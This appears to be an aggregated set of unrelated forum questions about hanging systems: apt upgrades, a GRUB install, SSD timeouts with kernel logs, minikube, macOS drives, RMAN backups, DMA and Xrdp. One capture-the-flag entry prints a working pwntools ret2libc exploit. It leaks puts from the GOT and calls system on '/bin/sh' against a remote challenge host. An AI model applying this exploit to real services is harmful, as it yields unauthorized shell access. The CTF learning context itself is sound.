“sudo apt-get upgrade” keeps hanging and I can’t figure out why

I run “sudo apt-get update” and then “sudo apt-get upgrade” and it always hangs before it finishes.

I have a dd image so for each round below, I restore from the image. After it hangs on a specific package, I restore again, and enter the command ‘sudo apt-mark hold ‘ to prevent it from being updated. But then it’ll hang on another package. So frustrating!

Round #1:

... Setting up dbus (...) ... [hangs] 

restore, reboot, and “sudo apt-mark hold dbus” for round #2.

Round #2:

... Setting up console-setup (...) ... [hangs] 

restore, reboot, and “sudo apt-mark hold” dbus and console-setup for round #3.

Round #3:

Setting up libapt-inst2.0:amd64 (1.2.32) ... Setting up apt-utils (1.2.32) ... Setting up libtasn1-6:amd64 (4.7-3ubuntu0.16.04.3) ... Setting up libgnutls30:amd64 (3.4.10-4ubuntu1.5) ... Setting up libsasl2-modules-db:amd64 (2.1.26.dfsg1-14ubuntu0.1) ... Setting up libsasl2-2:amd64 (2.1.26.dfsg1-14ubuntu0.1) ... Setting up libldap-2.4-2:amd64 (2.4.42+dfsg-2ubuntu3.6) ... Setting up dirmngr (2.1.11-6ubuntu2.1) ... Setting up libgnutls-openssl27:amd64 (3.4.10-4ubuntu1.5) ... Setting up libssl1.0.0:amd64 (1.0.2g-1ubuntu4.15) ... [hangs] 

Any advice on how to analyze the situation would be greatly appreciated.

Installing Ubuntu 18.04.2 LTS on Acer, GRUB 2 package is hanging

Since yesterday I try to install Ubuntu 18.04.2 LTS on my Laptop Acer Swift 1 where I had Windows 10 previously. Initially I had some problems with the installation start, but I disabled “secure boot” and it worked. however, now the Ubuntu starts installing and everything goes smooth, but then the installation suddenly stops the progress and I get “Installing the grub2 package”. This can last hours without any progress.

I tried to open the Terminal in the background and typed the commands:

sudo fdisk -l sudo mount /dev/sdxY /mnt  (where x is altter and Y a number you have found in the previous step) sudo grub-install --root-directory=/mnt /dev/sdx  sudo update-grub 

Well, this did not work. An error message occurred: “grub-install error: will not proceed with blocklists”.

I have swap area, ext4 space and EFI space. Separating my free space into these categories did not help too. How can I finally install the Ubuntu? What should be done? I get almost to the final stage, but the grub2 packages can not be installed.

Why is my SSD periodically hanging for 20 to 30 seconds?

I was using Shotcut today when this happened, but it also happens doing other things too, maybe 2 to 5 times per day. It happened in 18.04, 18.10, and now 19.04. The laptop hangs with the SSD light illuminated for 20 to 30 seconds. I had previously increased my swapfile, thinking that might resolve it, but it didn’t. I finally took a look at syslog during the hang up, but I don’t understand what’s happening or how to fix it.

Jun 27 15:09:06 ThinkPad org.gnome.Nautilus[12476]: [Debug  ] <TimelineDock::setSelection> Changing selection to (4)  trackIndex -1 isMultitrack false Jun 27 15:09:06 ThinkPad org.gnome.Nautilus[12476]: [Warning] <> file:///snap/shotcut/47/Shotcut.app/share/shotcut/qml/filters/contrast/ui.qml:178: TypeError: Cannot read property 'animateIn' of null Jun 27 15:09:06 ThinkPad org.gnome.Nautilus[12476]: [Warning] <> file:///snap/shotcut/47/Shotcut.app/share/shotcut/qml/modules/Shotcut/Controls/Preset.qml:40: TypeError: Cannot read property 'presets' of null Jun 27 15:09:22 ThinkPad org.gnome.Nautilus[12476]: [Warning] <MLT> [consumer sdl2_audio] audio timed out Jun 27 15:09:45 ThinkPad kernel: [22560.188651] ata1.00: exception Emask 0x0 SAct 0xffffffff SErr 0x50000 action 0x6 frozen Jun 27 15:09:45 ThinkPad kernel: [22560.188662] ata1: SError: { PHYRdyChg CommWake } Jun 27 15:09:45 ThinkPad kernel: [22560.188669] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188680] ata1.00: cmd 61/10:00:10:08:10/00:00:00:00:00/40 tag 0 ncq dma 8192 out Jun 27 15:09:45 ThinkPad kernel: [22560.188680]          res 40/00:01:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188685] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188689] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188699] ata1.00: cmd 61/08:08:28:08:10/00:00:00:00:00/40 tag 1 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.188699]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188703] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188706] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188715] ata1.00: cmd 61/08:10:70:08:10/00:00:00:00:00/40 tag 2 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.188715]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188718] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188722] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188730] ata1.00: cmd 61/08:18:80:08:90/00:00:01:00:00/40 tag 3 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.188730]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188734] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188737] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188745] ata1.00: cmd 61/08:20:90:09:90/00:00:01:00:00/40 tag 4 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.188745]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188749] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188752] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188761] ata1.00: cmd 61/08:28:18:20:91/00:00:01:00:00/40 tag 5 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.188761]          res 40/00:01:00:00:00/00:00:00:00:00/40 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188764] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188768] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188776] ata1.00: cmd 61/08:30:20:1f:d4/00:00:01:00:00/40 tag 6 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.188776]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188780] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188783] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188792] ata1.00: cmd 61/08:38:18:9c:d4/00:00:01:00:00/40 tag 7 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.188792]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188795] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188799] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188807] ata1.00: cmd 61/08:40:18:08:10/00:00:02:00:00/40 tag 8 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.188807]          res 40/00:01:00:00:00/00:00:00:00:00/40 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188811] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188814] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188823] ata1.00: cmd 61/08:48:38:08:d0/00:00:04:00:00/40 tag 9 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.188823]          res 40/00:01:30:08:00/00:00:00:00:00/e0 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188826] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188830] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188838] ata1.00: cmd 61/08:50:48:08:d0/00:00:08:00:00/40 tag 10 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.188838]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188842] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188846] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188854] ata1.00: cmd 61/08:58:80:08:50/00:00:1b:00:00/40 tag 11 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.188854]          res 40/00:01:00:00:00/00:00:00:00:00/40 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188858] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188861] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188870] ata1.00: cmd 61/10:60:58:14:50/00:00:1b:00:00/40 tag 12 ncq dma 8192 out Jun 27 15:09:45 ThinkPad kernel: [22560.188870]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188873] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188877] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188885] ata1.00: cmd 61/08:68:18:a6:51/00:00:1b:00:00/40 tag 13 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.188885]          res 40/00:01:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188889] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188892] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188901] ata1.00: cmd 61/08:70:78:15:54/00:00:1b:00:00/40 tag 14 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.188901]          res 40/00:01:00:00:00/00:00:00:00:00/e0 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188904] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188907] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188916] ata1.00: cmd 61/08:78:c0:08:2d/00:00:06:00:00/40 tag 15 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.188916]          res 40/00:01:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188919] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188923] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188931] ata1.00: cmd 61/08:80:c8:08:2d/00:00:06:00:00/40 tag 16 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.188931]          res 40/00:01:00:00:00/00:00:00:00:00/40 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188935] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188938] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188947] ata1.00: cmd 61/08:88:d0:08:2d/00:00:06:00:00/40 tag 17 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.188947]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188950] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188954] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188962] ata1.00: cmd 61/08:90:d8:08:2d/00:00:06:00:00/40 tag 18 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.188962]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188966] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188969] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188978] ata1.00: cmd 61/10:98:e0:08:2d/00:00:06:00:00/40 tag 19 ncq dma 8192 out Jun 27 15:09:45 ThinkPad kernel: [22560.188978]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188981] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.188985] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.188993] ata1.00: cmd 61/08:a0:30:6c:d4/00:00:0d:00:00/40 tag 20 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.188993]          res 40/00:fe:00:00:00/00:00:00:00:00/40 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.188997] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.189000] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.189008] ata1.00: cmd 61/08:a8:a0:08:2d/00:00:06:00:00/40 tag 21 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.189008]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.189012] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.189015] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.189024] ata1.00: cmd 61/08:b0:a8:08:2d/00:00:06:00:00/40 tag 22 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.189024]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.189027] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.189031] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.189039] ata1.00: cmd 61/08:b8:b0:08:2d/00:00:06:00:00/40 tag 23 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.189039]          res 40/00:01:00:00:00/00:00:00:00:00/40 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.189042] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.189046] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.189054] ata1.00: cmd 61/08:c0:f0:08:2d/00:00:06:00:00/40 tag 24 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.189054]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.189058] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.189061] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.189070] ata1.00: cmd 61/10:c8:f8:08:2d/00:00:06:00:00/40 tag 25 ncq dma 8192 out Jun 27 15:09:45 ThinkPad kernel: [22560.189070]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.189073] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.189077] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.189085] ata1.00: cmd 61/10:d0:08:09:2d/00:00:06:00:00/40 tag 26 ncq dma 8192 out Jun 27 15:09:45 ThinkPad kernel: [22560.189085]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.189089] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.189092] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.189100] ata1.00: cmd 61/08:d8:18:09:2d/00:00:06:00:00/40 tag 27 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.189100]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.189104] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.189107] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.189116] ata1.00: cmd 61/08:e0:20:09:2d/00:00:06:00:00/40 tag 28 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.189116]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.189119] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.189123] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.189131] ata1.00: cmd 61/08:e8:28:09:2d/00:00:06:00:00/40 tag 29 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.189131]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.189135] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.189138] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.189147] ata1.00: cmd 61/80:f0:00:5f:94/00:00:01:00:00/40 tag 30 ncq dma 65536 out Jun 27 15:09:45 ThinkPad kernel: [22560.189147]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.189150] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.189154] ata1.00: failed command: WRITE FPDMA QUEUED Jun 27 15:09:45 ThinkPad kernel: [22560.189162] ata1.00: cmd 61/08:f8:b8:08:2d/00:00:06:00:00/40 tag 31 ncq dma 4096 out Jun 27 15:09:45 ThinkPad kernel: [22560.189162]          res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout) Jun 27 15:09:45 ThinkPad kernel: [22560.189166] ata1.00: status: { DRDY } Jun 27 15:09:45 ThinkPad kernel: [22560.189174] ata1: hard resetting link Jun 27 15:09:46 ThinkPad kernel: [22560.503704] ata1: SATA link up 6.0 Gbps (SStatus 133 SControl 300) Jun 27 15:09:46 ThinkPad kernel: [22560.506053] ata1.00: ACPI cmd ef/02:00:00:00:00:a0 (SET FEATURES) succeeded Jun 27 15:09:46 ThinkPad kernel: [22560.506060] ata1.00: ACPI cmd f5/00:00:00:00:00:a0 (SECURITY FREEZE LOCK) filtered out Jun 27 15:09:46 ThinkPad kernel: [22560.506064] ata1.00: ACPI cmd ef/10:03:00:00:00:a0 (SET FEATURES) filtered out Jun 27 15:09:46 ThinkPad kernel: [22560.510337] ata1.00: ACPI cmd ef/02:00:00:00:00:a0 (SET FEATURES) succeeded Jun 27 15:09:46 ThinkPad kernel: [22560.510345] ata1.00: ACPI cmd f5/00:00:00:00:00:a0 (SECURITY FREEZE LOCK) filtered out Jun 27 15:09:46 ThinkPad kernel: [22560.510349] ata1.00: ACPI cmd ef/10:03:00:00:00:a0 (SET FEATURES) filtered out Jun 27 15:09:46 ThinkPad kernel: [22560.511361] ata1.00: configured for UDMA/133 Jun 27 15:09:46 ThinkPad kernel: [22560.511651] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511654] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511656] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511659] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511662] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511665] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511669] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511672] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511678] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511680] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511683] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511686] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511688] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511692] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511695] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511697] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511700] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511702] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511705] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511707] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511710] ata1.00: device reported invalid CHS sector 0 Jun 27 15:09:46 ThinkPad kernel: [22560.511762] ata1: EH complete Jun 27 15:09:46 ThinkPad org.gnome.Nautilus[12476]: [Info   ] <MLT> [consumer sdl2_audio] Audio Opened: driver=pulseaudio channels=2 frequency=48000 Jun 27 15:10:04 ThinkPad org.gnome.Nautilus[12476]: [Debug  ] <Timeline::MoveClipCommand::undo> fromTrack 6 toTrack 6 

ROP Chain with pwntools hanging on partial puts statement

NOTE: The IP here is generic for the challenge and the instance referenced by the port has already been closed.

Hardening:

root@kali:~/htb/challenges/pwn/ropme# gdb -q ./ropme Reading symbols from ./ropme...(no debugging symbols found)...done. gdb-peda$   checksec  CANARY    : disabled FORTIFY   : disabled NX        : ENABLED PIE       : disabled RELRO     : Partial 

I have a binary that I have exploited locally and am now trying to port the exploit to a remote server.

The issue I have is that the script is hanging after I leak the memory of put in the GOT.

I thought the issue was the version of libc I was using, but having tried a few versions, I think what I am using is correct.

I have found the version by running the script and leaking puts…

Leaked: \x90\x06\x9b\x8c\x90\x7f root@kali:~/htb/challenges/pwn/ropme# libc-database/find puts 9b0690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) 

I noticed though that when I removed the section of the script that attempts to leak __libc_start_main the script hangs and if that is commented out it hangs on the payload being sent.

I think this is down to pwntools expecting a string that doesn’t fully print.

You can see from the below output that it only prints (via puts) a partial string from the expected program output. Only R out of string.. ROP me outside, how 'about dah?. I added the new line character below.

root@kali:~/htb/challenges/pwn/ropme# python exploit.py  [+] Opening connection to 159.65.208.41 on port 34582: Done [+] Leaked puts@GLIBC: \x90\x86{\x18\x18\x7f     R Traceback (most recent call last):   File "exploit.py", line 29, in <module>     p.recvuntil("ROP me outside, how 'about dah?\n")   File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 305, in recvuntil     res = self.recv(timeout=self.timeout)   File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 78, in recv     return self._recv(numb, timeout) or ''   File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 156, in _recv     if not self.buffer and not self._fillbuffer(timeout):   File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 126, in _fillbuffer     data = self.recv_raw(self.buffer.get_fill_size())   File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/sock.py", line 37, in recv_raw     data = self.sock.recv(numb, *a) KeyboardInterrupt [*] Closed connection to 159.65.208.41 port 34582 

My question is, what is interfering with the output of puts or is the issue elsewhere in the implementation of my script?

Main script…

#!/usr/bin/python  from pwn import * from socket import *  HOST = '159.65.208.41' PORT = 34582  p = remote(HOST, PORT)  ## Stage 1 junk = "A" * 72 pop_rdi = p64(0x4006d3) got_puts = p64(0x601018) plt_puts = p64(0x4004e0) plt_main = p64(0x400626) got_main = p64(0x601020)  # Leak address of puts in libc payload = junk + pop_rdi + got_puts + plt_puts + plt_main p.recvuntil("ROP me outside, how 'about dah?\n") p.sendline(payload) leaked_puts = p.recv()[:8].strip().ljust(8, "\x00") log.success("Leaked puts@GLIBC: " + str(leaked_puts)) leaked_puts = u64(leaked_puts)  # Leak address of __libc_main # payload = junk + pop_rdi + got_main + plt_puts + plt_main # p.recvuntil("ROP me outside, how 'about dah?\n") # p.sendline(payload) # leaked_got_main = p.recv()[:8].strip().ljust(8, "\x00") # log.success("Leaked __libc_start_main: " + str(leaked_got_main)) # leaked_got_main = u64(leaked_got_main)  # Stage 2 pop_rdi = p64(0x4006d3)  # libc6_2.23-0ubuntu10_amd64 + libc6_2.23-0ubuntu11_amd64 libc_puts = 0x6f690 libc_sys = 0x45390 libc_sh = 0x18cd57  offset = leaked_puts - libc_puts system = p64(offset + libc_sys) sh = p64(offset + libc_sh)  payload = junk + pop_rdi + sh + system  log.success("Only reaches here") p.recvuntil("ROP me outside, how 'about dah?\n") p.sendline(payload) log.success("Payload sent...")  # raw_input() p.interactive() 

Minikube VM hanging on Hyper-V

I’ve this issue where I can’t stop a minikube vm running on Hyper-V. The problem was that I delete the VM before the stop (manually from Hyper-V interface). Now when I run the minikube stop on the powershell as admin it throws me an error that said that Hyper-V can’t find any VM with that name. This is correct because I delete it from there, but my question would be, where I can stop that VM or how I can perform a clean install of Hyper-V (remembers all the configs after unable it).

My terminal and filesystem are hanging on MacOS

So I have had an external hard drive connected to my laptop, and have been writing millions of files to the external hard drive. One directory even has over 2 million folders at the first level deep.

Probably a dozen times my computer has frozen up. I have about 50+ windowed applications opened and every now and then my screen gets that nintendo glitch look to it where everything turns to lines and shakes. The glitching part doesn’t cause the freezing, but something is causing it. When it freezes the spinner goes on forever and I have to press the power button to shut it off.

I leave it shut off for at least 15 seconds before turning it on again. When I start again, it gives me back all my windows as they were, except the terminal windows aren’t in the right spot anymore, they’re just at the home directory.

I say all this because now I can’t even type ls inside /Volumes, it just hangs. I tried hard unplugging the hard drive and plugging it back in. It registers in the finder window as being present, but I simply can’t do ls /Volumes. I can’t cd /Volumes either. I can’t go into the hard drive. This only started happening after I’ve been writing millions of files to it.

It’s a Western Digital external hard drive.

Oh wait! There now ls has finally completed. It took about 10 minutes for it to register fully. Hmm… Wondering if you guys might know why it’s doing this. Why it’s not letting me get into the drive until long time.

So okay, now I just started writing more files. It let me write a few thousand more but now it’s hanging again. In these cases I can’t CTRL+C or CTRL+D to get out of the process, I have to open the Activity Monitor and Force Quit. But then it’s back to I can’t ls in the /Volumes. Wondering what the heck is going on.

I have also been typically running 3-5 processes all writing files in parallel.

Rman archive backups hanging due to datadomain issue cause Linux system hang

Dears,

We see that our Linux system became unresponsive. During that time we see from crashdump of server that there were 23k zombie processes of oracle and lot of uninterruptible processes of oracle.upon further analysis we saw that more than 12 rman archive backups were just hanging for more than 3-4 hours on this because of a hardware issue on underlying backup domain device and all were killed and someone restarted everything at once.Could someone please tell me if you faced similar issue? Backups should have been stopped during such issues but can we be sure that the backup hanging caused contention…please note that the hardware issue on the datadomain was causing the restarts of datadomain device and intermittent connectivity issues.

Data Migration assistant hanging on assesment

I am doing an assessment at a client with DMA. For most of the instances it goes through without issues. I have 3 instances that I am not able to complete due to the assessment getting stuck. I have left the assessment to run for 3 days and still it was not finished.

I am currently running manual assessments for individual databases.

Regards,

Xrdp hanging (Windows 10 to Xubuntu)

I have Xrdp installed and up-to-date on my Xubuntu machine and have opened up ports 3389 and 3350. However, when I attempt to start a remote desktop session from my Windows 10 machine, the connection hangs on a blank blue screen after login.

After about 5 minutes the connection fials with the error below:

  • connecting to sesman ip 127.0.0.1 port 3350
  • sesman connect ok
  • sending login info to session manager, please wait…
  • login successful for display 10
  • started connecting
  • connection problem, giving up
  • some problem

Xrdp was manually enabled, and all users logged out prior to remote session. Both Xorg and X11rdp session types used with same results.

Remote Session Error